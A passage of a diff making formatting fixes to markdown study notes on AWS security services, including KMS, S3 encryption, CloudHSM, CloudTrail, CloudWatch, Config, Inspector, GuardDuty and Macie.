CMK is re-enabled or deletion is cancelled. +* If **CMK **is in state of **disabled **or **pending** **deletion**, KMS will **not perform a key rotation** until the CMK is re-enabled or deletion is cancelled. #### Manual rotation -* A **new CMK needs to be created**, then, a new CMK-ID is created, so you will need to **update** any **application** to **reference** the new CMK-ID. +* A** new CMK needs to be created**, then, a new CMK-ID is created, so you will need to **update **any **application **to **reference **the new CMK-ID. * To do this process easier you can **use aliases to refer to a key-id** and then just update the key the alias is referring to. * You need to **keep old keys to decrypt old files** encrypted with it. @@ -219,7 +219,7 @@ With KMS policy you can do the following: * Limit who can create data keys and which services have access to use these keys * Limit systems access to encrypt only, decrypt only or both -* Define to enable systems to access keys across regions \(although it is not recommended as a failure in the region hosting KMS will affect availability of systems in other regions\). +* Define to enable systems to access keys across regions (although it is not recommended as a failure in the region hosting KMS will affect availability of systems in other regions). You cannot synchronize or move/copy keys across regions; you can only define rules to allow access across region. @@ -227,13 +227,13 @@ You cannot synchronize or move/copy keys across regions; you can only define rul Amazon S3 is a service that allows you **store important amounts of data**. -Amazon S3 provides multiple options to achieve the **protection** of data at REST. The options include **Permission** \(Policy\), **Encryption** \(Client and Server Side\), **Bucket Versioning** and **MFA** **based delete**. The **user can enable** any of these options to achieve data protection. **Data replication** is an internal facility by AWS where **S3 automatically replicates each object across all the Availability Zones** and the organization need not enable it in this case. +Amazon S3 provides multiple options to achieve the **protection **of data at REST. The options include **Permission** (Policy), **Encryption** (Client and Server Side), **Bucket Versioning** and **MFA** **based delete**. The **user can enable** any of these options to achieve data protection. **Data replication** is an internal facility by AWS where **S3 automatically replicates each object across all the Availability Zones** and the organization need not enable it in this case. With resource-based permissions, you can define permissions for sub-directories of your bucket separately. ### S3 Access logs -It's possible to **enable S3 access login** \(which by default is disabled\) to some bucket and save the logs in a different bucket to know who is accessing the bucket. The source bucket and the target bucket \(the one is saving the logs needs to be in the same region. +It's possible to **enable S3 access login** (which by default is disabled) to some bucket and save the logs in a different bucket to know who is accessing the bucket. The source bucket and the target bucket (the one is saving the logs needs to be in the same region. ### S3 Encryption Mechanisms @@ -242,13 +242,13 @@ It's possible to **enable S3 access login** \(which by default is disabled\) to **Server-side encryption with S3 managed keys, SSE-S3:** This option requires minimal configuration and all management of encryption keys used are managed by AWS. All you need to do is to **upload your data and S3 will handle all other aspects**. Each bucket in a S3 account is assigned a bucket key. * Encryption: - * Object Data + created plaintext DEK --> Encrypted data \(stored inside S3\) - * Created plaintext DEK + S3 Master Key --> Encrypted DEK \(stored inside S3\) and plain text is deleted from memory + * Object Data + created plaintext DEK --> Encrypted data (stored inside S3) + * Created plaintext DEK + S3 Master Key --> Encrypted DEK (stored inside S3) and plain text is deleted from memory * Decryption: - * Encrypted DEK + S3 Master Key --> Plaintext DEK - * Plaintext DEK + Encrypted data --> Object Data + * Encrypted DEK + S3 Master Key --> Plaintext DEK + * Plaintext DEK + Encrypted data --> Object Data -Please, note that in this case **the key is managed by AWS** \(rotation only every 3 years\). If you use your own key you willbe able to rotate, disable and apply access control. +Please, note that in this case **the key is managed by AWS** (rotation only every 3 years). If you use your own key you willbe able to rotate, disable and apply access control. **Server-side encryption with KMS managed keys, SSE-KMS:** This method allows S3 to use the key management service to generate your data encryption keys. KMS gives you a far greater flexibility of how your keys are managed. For example, you are able to disable, rotate, and apply access controls to the CMK, and order to against their usage using AWS Cloud Trail. @@ -279,7 +279,7 @@ Please, note that in this case **the key is managed by AWS** \(rotation only eve * Client request for a data key to KMS * KMS returns the plaintext DEK and the encrypted DEK with the CMK * Both keys are sent back - * The client then encrypts the data with the plaintext DEK and send to S3 the encrypted data + the encrypted DEK \(which is saved as metadata of the encrypted data inside S3\) + * The client then encrypts the data with the plaintext DEK and send to S3 the encrypted data + the encrypted DEK (which is saved as metadata of the encrypted data inside S3) * Decryption: * The encrypted data with the encrypted DEK is sent to the client * The client asks KMS to decrypt the encrypted key using the CMK and KMS sends back the plaintext DEK @@ -297,59 +297,59 @@ Please, note that in this case **the key is managed by AWS** \(rotation only eve ## HSM - Hardware Security Module -Cloud HSM is a FIPS 140 level two validated **hardware device** for secure cryptographic key storage \(note that CloudHSM is a hardware appliance, it is not a virtualized service\). It is a SafeNetLuna 7000 appliance with 5.3.13 preloaded. There are two firmware versions and which one you pick is really based on your exact needs. One is for FIPS 140-2 compliance and there was a newer version that can be used. +Cloud HSM is a FIPS 140 level two validated **hardware device** for secure cryptographic key storage (note that CloudHSM is a hardware appliance, it is not a virtualized service). It is a SafeNetLuna 7000 appliance with 5.3.13 preloaded. There are two firmware versions and which one you pick is really based on your exact needs. One is for FIPS 140-2 compliance and there was a newer version that can be used. The unusual feature of CloudHSM is that it is a physical device, and thus it is **not shared with other customers**, or as it is commonly termed, multi-tenant. It is dedicated single tenant appliance exclusively made available to your workloads Typically, a device is available within 15 minutes assuming there is capacity, but if the AZ is out of capacity it can take two weeks or more to acquire additional capacity. -Both KMS and CloudHSM are available to you at AWS and both are integrated with your apps at AWS. Since this is a physical device dedicated to you, **the keys are stored on the device**. Keys need to either be **replicated to another device**, backed up to offline storage, or exported to a standby appliance. **This device is not backed** by S3 or any other service at AWS like KMS. +Both KMS and CloudHSM are available to you at AWS and both are integrated with your apps at AWS. Since this is a physical device dedicated to you,** the keys are stored on the device**. Keys need to either be** replicated to another device**, backed up to offline storage, or exported to a standby appliance. **This device is not backed** by S3 or any other service at AWS like KMS. -In **CloudHSM**, you have to **scale the service yourself**. You have to provision enough CloudHSM devices to handle whatever your encryption needs are based on the encryption algorithms you have chosen to implement for your solution. +In **CloudHSM**, you have to **scale the service yourself**. You have to provision enough CloudHSM devices to handle whatever your encryption needs are based on the encryption algorithms you have chosen to implement for your solution.\ Key Management Service scaling is performed by AWS and automatically scales on demand, so as your use grows, so might the number of CloudHSM appliances that are required. Keep this in mind as you scale your solution and if your solution has auto-scaling, make sure your maximum scale is accounted for with enough CloudHSM appliances to service the solution. -Just like scaling, **performance is up to you with CloudHSM**. Performance varies based on which encryption algorithm is used and on how often you need to access or retrieve the keys to encrypt the data. Key management service performance is handled by Amazon and automatically scales as demand requires it. CloudHSM's performance is achieved by adding more appliances and if you need more performance you either add devices or alter the encryption method to the algorithm that is faster. +Just like scaling,** performance is up to you with CloudHSM**. Performance varies based on which encryption algorithm is used and on how often you need to access or retrieve the keys to encrypt the data. Key management service performance is handled by Amazon and automatically scales as demand requires it. CloudHSM's performance is achieved by adding more appliances and if you need more performance you either add devices or alter the encryption method to the algorithm that is faster. -If your solution is **multi-region**, you should add several **CloudHSM appliances in the second region and work out the cross-region connectivity with a private VPN connection** or some method to ensure the traffic is always protected between the appliance at every layer of the connection. If you have a multi-region solution you need to think about how to **replicate keys and set up additional CloudHSM devices in the regions where you operate**. You can very quickly get into a scenario where you have six or eight devices spread across multiple regions, enabling full redundancy of your encryption keys. +If your solution is **multi-region**, you should add several **CloudHSM appliances in the second region and work out the cross-region connectivity with a private VPN connection** or some method to ensure the traffic is always protected between the appliance at every layer of the connection. If you have a multi-region solution you need to think about how to** replicate keys and set up additional CloudHSM devices in the regions where you operate**. You can very quickly get into a scenario where you have six or eight devices spread across multiple regions, enabling full redundancy of your encryption keys. -**CloudHSM** is an enterprise class service for secured key storage and can be used as a **root of trust for an enterprise**. It can store private keys in PKI and certificate authority keys in X509 implementations. In addition to symmetric keys used in symmetric algorithms such as AES, **KMS stores and physically protects symmetric keys only \(cannot act as a certificate authority\)**, so if you need to store PKI and CA keys a CloudHSM or two or three could be your solution. +**CloudHSM **is an enterprise class service for secured key storage and can be used as a **root of trust for an enterprise**. It can store private keys in PKI and certificate authority keys in X509 implementations. In addition to symmetric keys used in symmetric algorithms such as AES, **KMS stores and physically protects symmetric keys only (cannot act as a certificate authority)**, so if you need to store PKI and CA keys a CloudHSM or two or three could be your solution. -**CloudHSM is considerably more expensive than Key Management Service**. CloudHSM is a hardware appliance so you have fix costs to provision the CloudHSM device, then an hourly cost to run the appliance. The cost is multiplied by as many CloudHSM appliances that are required to achieve your specific requirements. +**CloudHSM is considerably more expensive than Key Management Service**. CloudHSM is a hardware appliance so you have fix costs to provision the CloudHSM device, then an hourly cost to run the appliance. The cost is multiplied by as many CloudHSM appliances that are required to achieve your specific requirements.\ Additionally, cross consideration must be made in the purchase of third party software such as SafeNet ProtectV software suites and integration time and effort. Key Management Service is a usage based and depends on the number of keys you have and the input and output operations. As key management provides seamless integration with many AWS services, integration costs should be significantly lower. Costs should be considered secondary factor in encryption solutions. Encryption is typically used for security and compliance. **With CloudHSM only you have access to the keys** and without going into too much detail, with CloudHSM you manage your own keys. **With KMS, you and Amazon co-manage your keys**. AWS does have many policy safeguards against abuse and **still cannot access your keys in either solution**. The main distinction is compliance as it pertains to key ownership and management, and with CloudHSM, this is a hardware appliance that you manage and maintain with exclusive access to you and only you. ### CloudHSM Suggestions -1. Always deploy CloudHSM in an **HA setup** with at least two appliances in **separate availability zones**, and if possible, deploy a third either on premise or in another region at AWS. -2. Be careful when **initializing** a **CloudHSM**. This action **will destroy the keys**, so either have another copy of the keys or be absolutely sure you do not and never, ever will need these keys to decrypt any data. +1. Always deploy CloudHSM in an **HA setup **with at least two appliances in **separate availability zones**, and if possible, deploy a third either on premise or in another region at AWS. +2. Be careful when **initializing **a **CloudHSM**. This action **will destroy the keys**, so either have another copy of the keys or be absolutely sure you do not and never, ever will need these keys to decrypt any data. 3. CloudHSM only **supports certain versions of firmware** and software. Before performing any update, make sure the firmware and or software is supported by AWS. You can always contact AWS support to verify if the upgrade guide is unclear. 4. The **network configuration should never be changed.** Remember, it's in a AWS data center and AWS is monitoring base hardware for you. This means that if the hardware fails, they will replace it for you, but only if they know it failed. -5. The **SysLog forward should not be removed or changed**. You can always **add** a SysLog forwarder to direct the logs to your own collection tool. -6. The **SNMP** configuration has the same basic restrictions as the network and SysLog folder. This **should not be changed or removed**. An **additional** SNMP configuration is fine, just make sure you do not change the one that is already on the appliance. +5. The **SysLog forward should not be removed or changed**. You can always **add **a SysLog forwarder to direct the logs to your own collection tool. +6. The **SNMP **configuration has the same basic restrictions as the network and SysLog folder. This **should not be changed or removed**. An **additional **SNMP configuration is fine, just make sure you do not change the one that is already on the appliance. 7. Another interesting best practice from AWS is **not to change the NTP configuration**. It is not clear what would happen if you did, so keep in mind that if you don't use the same NTP configuration for the rest of your solution then you could have two time sources. Just be aware of this and know that the CloudHSM has to stay with the existing NTP source. The initial launch charge for CloudHSM is $5,000 to allocate the hardware appliance dedicated for your use, then there is an hourly charge associated with running CloudHSM that is currently at $1.88 per hour of operation, or approximately $1,373 per month. The most common reason to use CloudHSM is compliance standards that you must meet for regulatory reasons. **KMS does not offer data support for asymmetric keys. CloudHSM does let you store asymmetric keys securely**. -The **public key is installed on the HSM appliance during provisioning** so you can access the CloudHSM instance via SSH. +The** public key is installed on the HSM appliance during provisioning** so you can access the CloudHSM instance via SSH. ## Amazon Athena -Amazon Athena is an interactive query service that makes it easy to **analyze data** directly in Amazon Simple Storage Service \(Amazon **S3**\) **using** standard **SQL**. +Amazon Athena is an interactive query service that makes it easy to **analyze data **directly in Amazon Simple Storage Service (Amazon **S3**) **using **standard **SQL**. -You need to **prepare a relational DB table** with the format of the content that is going to appear in the monitored S3 buckets. And then, Amazon Athena will be able to populate the DB from th logs, so you can query it. +You need to** prepare a relational DB table** with the format of the content that is going to appear in the monitored S3 buckets. And then, Amazon Athena will be able to populate the DB from th logs, so you can query it. Amazon Athena supports the **hability to query S3 data that is already encrypted** and if configured to do so, **Athena can also encrypt the results of the query which can then be stored in S3**. -**This encryption of results is independent of the underlying queried S3 data**, meaning that even if the S3 data is not encrypted, the queried results can be encrypted. A couple of points to be aware of is that Amazon Athena only supports data that has been **encrypted** with the **following S3 encryption methods**, **SSE-S3, SSE-KMS, and CSE-KMS**. +**This encryption of results is independent of the underlying queried S3 data**, meaning that even if the S3 data is not encrypted, the queried results can be encrypted. A couple of points to be aware of is that Amazon Athena only supports data that has been **encrypted **with the **following S3 encryption methods**, **SSE-S3, SSE-KMS, and CSE-KMS**. SSE-C and CSE-E are not supported. In addition to this, it's important to understand that Amazon Athena will only run queries against **encrypted objects that are in the same region as the query itself**. If you need to query S3 data that's been encrypted using KMS, then specific permissions are required by the Athena user to enable them to perform the query. ## AWS CloudTrail -This service **tracks and monitors AWS API calls made within the environment**. Each call to an API \(event\) is logged. Each logged event contains: +This service** tracks and monitors AWS API calls made within the environment**. Each call to an API (event) is logged. Each logged event contains: * The name of the called API: `eventName` * The called service: `eventSource` @@ -362,25 +362,25 @@ This service **tracks and monitors AWS API calls made within the environment**. * The request parameters: `requestParameters` * The response elements: `responseElements` -Event's are written to a new log file **approximately each 5 minutes in a JSON file**, they are held by CloudTrail and finally, log files are **delivered to S3 approximately 15mins after**. -CloudTrail allows to use **log file integrity in order to be able to verify that your log files have remained unchanged** since CloudTrail delivered them to you. It creates a SHA-256 hash of the logs inside a digest file. A sha-256 hash of the new logs is created every hour. +Event's are written to a new log file** approximately each 5 minutes in a JSON file**, they are held by CloudTrail and finally, log files are **delivered to S3 approximately 15mins after**.\ +CloudTrail allows to use **log file integrity in order to be able to verify that your log files have remained unchanged** since CloudTrail delivered them to you. It creates a SHA-256 hash of the logs inside a digest file. A sha-256 hash of the new logs is created every hour.\ When creating a Trail the event selectors will allow you to indicate the trail to log: Management, data or insights events. -Logs are saved in an S3 bucket. By default Server Side Encryption is used \(SSE-S3\) so AWS will decrypt the content for the people that has access to it, but for additional security you can use SSE with KMS and your own keys. +Logs are saved in an S3 bucket. By default Server Side Encryption is used (SSE-S3) so AWS will decrypt the content for the people that has access to it, but for additional security you can use SSE with KMS and your own keys. ### Log File Naing Convention -![](../.gitbook/assets/image%20%28253%29.png) +![](<../.gitbook/assets/image (429).png>) ### S3 folder structure -![](../.gitbook/assets/image%20%28430%29.png) +![](<../.gitbook/assets/image (428).png>) Note that the folders "_AWSLogs_" and "_CloudTrail_" are fixed folder names, -**Digest** files have a similar folders path: +**Digest **files have a similar folders path: -![](../.gitbook/assets/image%20%28438%29.png) +![](<../.gitbook/assets/image (437).png>) ### Aggregate Logs from Multiple Accounts @@ -400,8 +400,8 @@ aws cloudtrail validate-logs --trail-arn --start-time [- ### Logs to CloudWatch -**CloudTrail can automatically send logs to CloudWatch so you can set alerts that warns you when suspicious activities are performed.** -Note that in order to allow CloudTrail to send the logs to CloudWatch a **role** needs to be created that allows that action. If possible, it's recommended to use AWS default role to perform these actions. This role will allow CloudTrail to: +**CloudTrail can automatically send logs to CloudWatch so you can set alerts that warns you when suspicious activities are performed.**\ +Note that in order to allow CloudTrail to send the logs to CloudWatch a **role **needs to be created that allows that action. If possible, it's recommended to use AWS default role to perform these actions. This role will allow CloudTrail to: * CreateLogStream: This allows to create a CloudWatch Logs log streams * PutLogEvents: Deliver CloudTrail logs to CloudWatch Logs log stream @@ -410,18 +410,18 @@ Note that in order to allow CloudTrail to send the logs to CloudWatch a **role** CloudTrail Event History allows you to inspect in a table the logs that have been recorded: -![](../.gitbook/assets/image%20%28431%29.png) +![](<../.gitbook/assets/image (431).png>) ### Insights -**CloudTrail Insights** automatically **analyzes** write management events from CloudTrail trails and **alerts** you to **unusual activity**. For example, if there is an increase in `TerminateInstance` events that differs from established baselines, you’ll see it as an Insight event. These events make **finding and responding to unusual API activity easier** than ever. +**CloudTrail Insights** automatically **analyzes **write management events from CloudTrail trails and **alerts **you to **unusual activity**. For example, if there is an increase in `TerminateInstance` events that differs from established baselines, you’ll see it as an Insight event. These events make **finding and responding to unusual API activity easier **than ever. ## CloudWatch -Amazon CloudWatch allows to **collect all of your logs in a single repository** where you can create **metrics** and **alarms** based on the logs. +Amazon CloudWatch allows to** collect all of your logs in a single repository** where you can create **metrics **and **alarms **based on the logs.\ CloudWatch Log Event have a **size limitation of 256KB of each log line**. -You can monitor for example logs from CloudTrail. +You can monitor for example logs from CloudTrail.\ Events that are monitored: * Changes to Security Groups and NACLs @@ -435,31 +435,31 @@ Events that are monitored: You can install agents insie your machines/containers to automatically send the logs back to CloudWatch. -* **Create** a **role** and **attach** it to the **instance** with permissions allowing CloudWatch to collect data from the instances in addition to interacting with AWS systems manager SSM \(CloudWatchAgentAdminPolicy & AmazonEC2RoleforSSM\) -* **Download** and **install** the **agent** onto the EC2 instance \([https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip](https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip)\). You can download it from inside the EC2 or install it automatically using AWS System Manager selecting the package AWS-ConfigureAWSPackage -* **Configure** and **start** the CloudWatch Agent +* **Create **a **role **and **attach **it to the **instance **with permissions allowing CloudWatch to collect data from the instances in addition to interacting with AWS systems manager SSM (CloudWatchAgentAdminPolicy & AmazonEC2RoleforSSM) +* **Download **and **install **the **agent **onto the EC2 instance ([https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip](https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip)). You can download it from inside the EC2 or install it automatically using AWS System Manager selecting the package AWS-ConfigureAWSPackage +* **Configure **and **start **the CloudWatch Agent A log group has many streams. A stream has many events. And inside of each stream, the events are guaranteed to be in order. ## Cost Explorer and Anomaly detection -This allows you to check how are you expending money in AWS services and help you **detecting anomalies**. +This allows you to check how are you expending money in AWS services and help you **detecting anomalies**.\ Moreover, you can configure an anomaly detection so AWS will warn you when some anomaly in costs is found. ### Budgets -Budgets help to manage costs and usage. You can get **alerted when a threshold is reached**. -Also, they can be used for non cost related monitoring like the usage of a service \(how many GB are used in a particular S3 bucket?\). +Budgets help to manage costs and usage. You can get **alerted when a threshold is reached**.\ +Also, they can be used for non cost related monitoring like the usage of a service (how many GB are used in a particular S3 bucket?). ## AWS Config -AWS Config **capture resource changes**, so any change to a resource supported by Config can be recorded, which will **record what changed along with other useful metadata, all held within a file known as a configuration item**, a CI. +AWS Config **capture resource changes**, so any change to a resource supported by Config can be recorded, which will **record what changed along with other useful metadata, all held within a file known as a configuration item**, a CI.\ This service is **region specific**. -A configuration item or **CI** as it's known, is a key component of AWS Config. It is comprised of a JSON file that **holds the configuration information, relationship information and other metadata as a point-in-time snapshot view of a supported resource**. All the information that AWS Config can record for a resource is captured within the CI. A CI is created **every time** a supported resource has a change made to its configuration in any way. In addition to recording the details of the affected resource, AWS Config will also record CIs for any directly related resources to ensure the change did not affect those resources too. +A configuration item or **CI **as it's known, is a key component of AWS Config. It is comprised of a JSON file that **holds the configuration information, relationship information and other metadata as a point-in-time snapshot view of a supported resource**. All the information that AWS Config can record for a resource is captured within the CI. A CI is created **every time** a supported resource has a change made to its configuration in any way. In addition to recording the details of the affected resource, AWS Config will also record CIs for any directly related resources to ensure the change did not affect those resources too. * **Metadata**: Contains details about the configuration item itself. A version ID and a configuration ID, which uniquely identifies the CI. Ither information can include a MD5Hash that allows you to compare other CIs already recorded against the same resource. -* **Attributes**: This holds common **attribute information against the actual resource**. Within this section, we also have a unique resource ID, and any key value tags that are associated to the resource. The resource type is also listed. For example, if this was a CI for an EC2 instance, the resource types listed could be the network interface, or the elastic IP address for that EC2 instance +* **Attributes**: This holds common** attribute information against the actual resource**. Within this section, we also have a unique resource ID, and any key value tags that are associated to the resource. The resource type is also listed. For example, if this was a CI for an EC2 instance, the resource types listed could be the network interface, or the elastic IP address for that EC2 instance * **Relationships**: This holds information for any connected **relationship that the resource may have**. So within this section, it would show a clear description of any relationship to other resources that this resource had. For example, if the CI was for an EC2 instance, the relationship section may show the connection to a VPC along with the subnet that the EC2 instance resides in. * **Current configuration:** This will display the same information that would be generated if you were to perform a describe or list API call made by the AWS CLI. AWS Config uses the same API calls to get the same information. * **Related events**: This relates to AWS CloudTrail. This will display the **AWS CloudTrail event ID that is related to the change that triggered the creation of this CI**. There is a new CI made for every change made against a resource. As a result, different CloudTrail event IDs will be created. @@ -474,19 +474,19 @@ A configuration item or **CI** as it's known, is a key component of AWS Config. ### Config Rules -Config rules are a great way to help you **enforce specific compliance checks** **and controls across your resources**, and allows you to adopt an ideal deployment specification for each of your resource types. Each rule **is essentially a lambda function** that when called upon evaluates the resource and carries out some simple logic to determine the compliance result with the rule. **Each time a change is made** to one of your supported resources, **AWS Config will check the compliance against any config rules that you have in place**. -AWS have a number of **predefined rules** that fall under the security umbrella that are ready to use. For example, Rds-storage-encrypted. This checks whether storage encryption is activated by your RDS database instances. Encrypted-volumes. This checks to see if any EBS volumes that have an attached state are encrypted. +Config rules are a great way to help you **enforce specific compliance checks** **and controls across your resources**, and allows you to adopt an ideal deployment specification for each of your resource types. Each rule **is essentially a lambda function** that when called upon evaluates the resource and carries out some simple logic to determine the compliance result with the rule. **Each time a change is made** to one of your supported resources, **AWS Config will check the compliance against any config rules that you have in place**.\ +AWS have a number of **predefined rules **that fall under the security umbrella that are ready to use. For example, Rds-storage-encrypted. This checks whether storage encryption is activated by your RDS database instances. Encrypted-volumes. This checks to see if any EBS volumes that have an attached state are encrypted. * **AWS Managed rules**: Set of predefined rules that cover a lot of best practices, so it's always worth browsing these rules first before setting up your own as there is a chance that the rule may already exist. * **Custom rules**: You can create your own rules to check specific customconfigurations. -Limit of 50 config rules per region before you need to contact AWS for an increase. +Limit of 50 config rules per region before you need to contact AWS for an increase.\ Non compliant results are NOT deleted. ## SNS Topic -SNS topic is used as a **configuration stream for notifications** from different AWS services like Config or CloudWatch alarms. -You can have various endpoints associated to the SNS stream. +SNS topic is used as a **configuration stream for notifications** from different AWS services like Config or CloudWatch alarms.\ +You can have various endpoints associated to the SNS stream.\ You can use SNS topic to send notifications to you via email or to SQS to treate programatically the notification. ## Inspector @@ -504,9 +504,9 @@ You can make any of those run on the EC2 machines you decide. ### Element of AWS Inspector -**Role**: Create or select a role to allow Amazon Inspector to have read only access to the EC2 instances \(DescribeInstances\) -**Assessment Targets**: Group of EC2 instances that you want to run an assessment against -**AWS agents**: Software agents that must be install on EC2 instances to monitor. Data is sent to Amazon Inspector using a TLS channel. A regular heartbeat is sent from the agent to the inspector asking for instructions. It can autoupdate itself +**Role**: Create or select a role to allow Amazon Inspector to have read only access to the EC2 instances (DescribeInstances)\ +**Assessment Targets**: Group of EC2 instances that you want to run an assessment against\ +**AWS agents**: Software agents that must be install on EC2 instances to monitor. Data is sent to Amazon Inspector using a TLS channel. A regular heartbeat is sent from the agent to the inspector asking for instructions. It can autoupdate itself\ **Assessment Templates**: Define specific configurations as to how an assessment is run on your EC2 instances. An assessment template cannot be modified after creation. * Rules packages to be used @@ -514,10 +514,10 @@ You can make any of those run on the EC2 machines you decide. * SNS topics, select when notify: Starts, finished, change state, reports a finding * Attributes to b assigned to findings -**Rule package**: Contains a number of individual rules that are check against an EC2 when an assessment is run. Each one also have a severity \(high, medium, low, informational\). The possibilities are: +**Rule package**: Contains a number of individual rules that are check against an EC2 when an assessment is run. Each one also have a severity (high, medium, low, informational). The possibilities are: -* Common Vulnerabilities and Exposures \(CVEs\) -* Center for Internet Security \(CIS\) Benchmark +* Common Vulnerabilities and Exposures (CVEs) +* Center for Internet Security (CIS) Benchmark * Security Best practices Once you have configured the Amazon Inspector Role, the AWS Agents are Installed, the target is configured and the template is configured, you will be able to run it. An assessment run can be stopped, resumed, or deleted. @@ -525,7 +525,7 @@ Once you have configured the Amazon Inspector Role, the AWS Agents are Installed Amazon Inspector has a pre-defined set of rules, grouped into packages. Each Assessment Template defines which rules packages to be included in the test. Instances are being evaluated against rules packages included in the assessment template. {% hint style="info" %} -Note that nowadays AWS already allow you to **autocreate** all the necesary **configurations** and even automatically **install the agents inside the EC2 instances.** +Note that nowadays AWS already allow you to **autocreate **all the necesary **configurations **and even automatically **install the agents inside the EC2 instances.** {% endhint %} ### **Reporting** @@ -535,25 +535,25 @@ Note that nowadays AWS already allow you to **autocreate** all the necesary **co **Assessment Report**: Provide details on what was assessed and the results of the assessment. * The **findings report** contain the summary of the assessment, info about the EC2 and rules and the findings that occurred. -* The **full report** is the finding report + a list of rules that were passed. +* The **full report **is the finding report + a list of rules that were passed. ## Trusted Advisor -The main function of Trusted Advisor is to **recommend improvements across your AWS account** to help optimize and hone your environment based on **AWS best practices**. These recommendations cover four distinct categories. It's a is a cross-region service. +The main function of Trusted Advisor is to** recommend improvements across your AWS account** to help optimize and hone your environment based on **AWS best practices**. These recommendations cover four distinct categories. It's a is a cross-region service. 1. **Cost optimization:** which helps to identify ways in which you could **optimize your resources** to save money. 2. **Performance:** This scans your resources to highlight any **potential performance issues** across multiple services. 3. **Security:** This category analyzes your environment for any **potential security weaknesses** or vulnerabilities. -4. **Fault tolerance:** Which suggests best practices to **maintain service operations** by increasing resiliency should a fault or incident occur across your resources. +4. **Fault tolerance:** Which suggests best practices to** maintain service operations** by increasing resiliency should a fault or incident occur across your resources. -The full power and potential of AWS Trusted Advisor is only really **available if you have a business or enterprise support plan with AWS**. **Without** either of these plans, then you will only have access to **six core checks** that are freely available to everyone. These free core checks are split between the performance and security categories, with the majority of them being related to security. These are the 6 checks: service limits, Security Groups Specific Ports Unrestricted, Amazon EBS Public Snapshots, Amazon RDS Public Snapshots, IAM Use, and MFA on root account. -Trusted advisor can send notifications and you can exclude items from it. -Trusted advisor data is **automatically refreshed every 24 hours**, **but** you can perform a **manual one 5 mins after the previous one.** +The full power and potential of AWS Trusted Advisor is only really **available if you have a business or enterprise support plan with AWS**. **Without **either of these plans, then you will only have access to** six core checks** that are freely available to everyone. These free core checks are split between the performance and security categories, with the majority of them being related to security. These are the 6 checks: service limits, Security Groups Specific Ports Unrestricted, Amazon EBS Public Snapshots, Amazon RDS Public Snapshots, IAM Use, and MFA on root account.\ +Trusted advisor can send notifications and you can exclude items from it.\ +Trusted advisor data is** automatically refreshed every 24 hours**, **but **you can perform a **manual one 5 mins after the previous one.** ## Amazon GuardDuty -Amazon GuardDuty is a regional-based intelligent **threat detection service**, the first of its kind offered by AWS, which allows users to **monitor** their **AWS account** for **unusual and unexpected behavior by analyzing VPC Flow Logs, AWS CloudTrail management event logs, Cloudtrail S3 data event logs, and DNS logs**. It uses **threat intelligence feeds**, such as lists of malicious IP addresses and domains, and **machine learning** to identify **unexpected and potentially unauthorized and malicious activity** within your AWS environment. This can include issues like escalations of privileges, uses of exposed credentials, or communication with malicious IP addresses, or domains. -For example, GuardDuty can detect compromised EC2 instances serving malware or mining bitcoin. It also monitors AWS account access behavior for signs of compromise, such as unauthorized infrastructure deployments, like instances deployed in a Region that has never been used, or unusual API calls, like a password policy change to reduce password strength. +Amazon GuardDuty is a regional-based intelligent **threat detection service**, the first of its kind offered by AWS, which allows users to **monitor **their **AWS account **for **unusual and unexpected behavior by analyzing VPC Flow Logs, AWS CloudTrail management event logs, Cloudtrail S3 data event logs, and DNS logs**. It uses **threat intelligence feeds**, such as lists of malicious IP addresses and domains, and **machine learning** to identify **unexpected and potentially unauthorized and malicious activity** within your AWS environment. This can include issues like escalations of privileges, uses of exposed credentials, or communication with malicious IP addresses, or domains.\ +For example, GuardDuty can detect compromised EC2 instances serving malware or mining bitcoin. It also monitors AWS account access behavior for signs of compromise, such as unauthorized infrastructure deployments, like instances deployed in a Region that has never been used, or unusual API calls, like a password policy change to reduce password strength.\ You can **upload list of whitelisted and blacklisted IP addresses** so GuardDuty takes that info into account. Finding summary: @@ -573,25 +573,25 @@ The body has this information: * Actor: Ip address, port and domain * Additional Information -You can invite other accounts to a different AWS GuardDuty account so **every account is monitored from the same GuardDuty**. The master account must invite the member accounts and then the representative of the member account must accept the invitation. -There are different IAM Role permissions to allow GuardDuty to get the information and to allow a user to upload IPs whitelisted and blacklisted. +You can invite other accounts to a different AWS GuardDuty account so **every account is monitored from the same GuardDuty**. The master account must invite the member accounts and then the representative of the member account must accept the invitation.\ +There are different IAM Role permissions to allow GuardDuty to get the information and to allow a user to upload IPs whitelisted and blacklisted.\ GuarDuty uses a service-linked role called "AWSServiceRoleForAmazonGuardDuty" that allows it to retrieve metadata from affected endpoints. You pay for the processing of your log files, per 1 million events per months from CloudTrail and per GB of analysed logs from VPC Flow -When a user disable GuardDuty, it will stop monitoring your AWS environment and it won't generate any new findings at all, and the existing findings will be lost. +When a user disable GuardDuty, it will stop monitoring your AWS environment and it won't generate any new findings at all, and the existing findings will be lost.\ If you just stop it, the existing findings will remain. ## Amazon Macie -The main function of the service is to provide an automatic method of **detecting, identifying, and also classifying data** that you are storing within your AWS account. +The main function of the service is to provide an automatic method of **detecting, identifying, and also classifying data **that you are storing within your AWS account. The service is backed by **machine learning**, allowing your data to be actively reviewed as different actions are taken within your AWS account. Machine learning can spot access patterns and **user behavior** by analyzing **cloud trail event** data to **alert against any unusual or irregular activity**. Any findings made by Amazon Macie are presented within a dashboard which can trigger alerts, allowing you to quickly resolve any potential threat of exposure or compromise of your data. -Amazon Macie will automatically and continuously **monitor and detect new data that is stored in Amazon S3**. Using the abilities of machine learning and artificial intelligence, this service has the ability to familiarize over time, access patterns to data. +Amazon Macie will automatically and continuously **monitor and detect new data that is stored in Amazon S3**. Using the abilities of machine learning and artificial intelligence, this service has the ability to familiarize over time, access patterns to data. \ Amazon Macie also uses natural language processing methods to **classify and interpret different data types and content**. NLP uses principles from computer science and computational linguistics to look at the interactions between computers and the human language. In particular, how to program computers to understand and decipher language data. The **service can automatically assign business values to data that is assessed in the form of a risk score**. This enables Amazon Macie to order findings on a priority basis, enabling you to focus on the most critical alerts first. In addition to this, Amazon Macie also has the added benefit of being able to **monitor and discover security changes governing your data**. As well as identify specific security-centric data such as access keys held within an S3 bucket. -This protective and proactive security monitoring enables Amazon Macie to identify critical, sensitive, and security focused data such as API keys, secret keys, in addition to PII \(personally identifiable information\) and PHI data. +This protective and proactive security monitoring enables Amazon 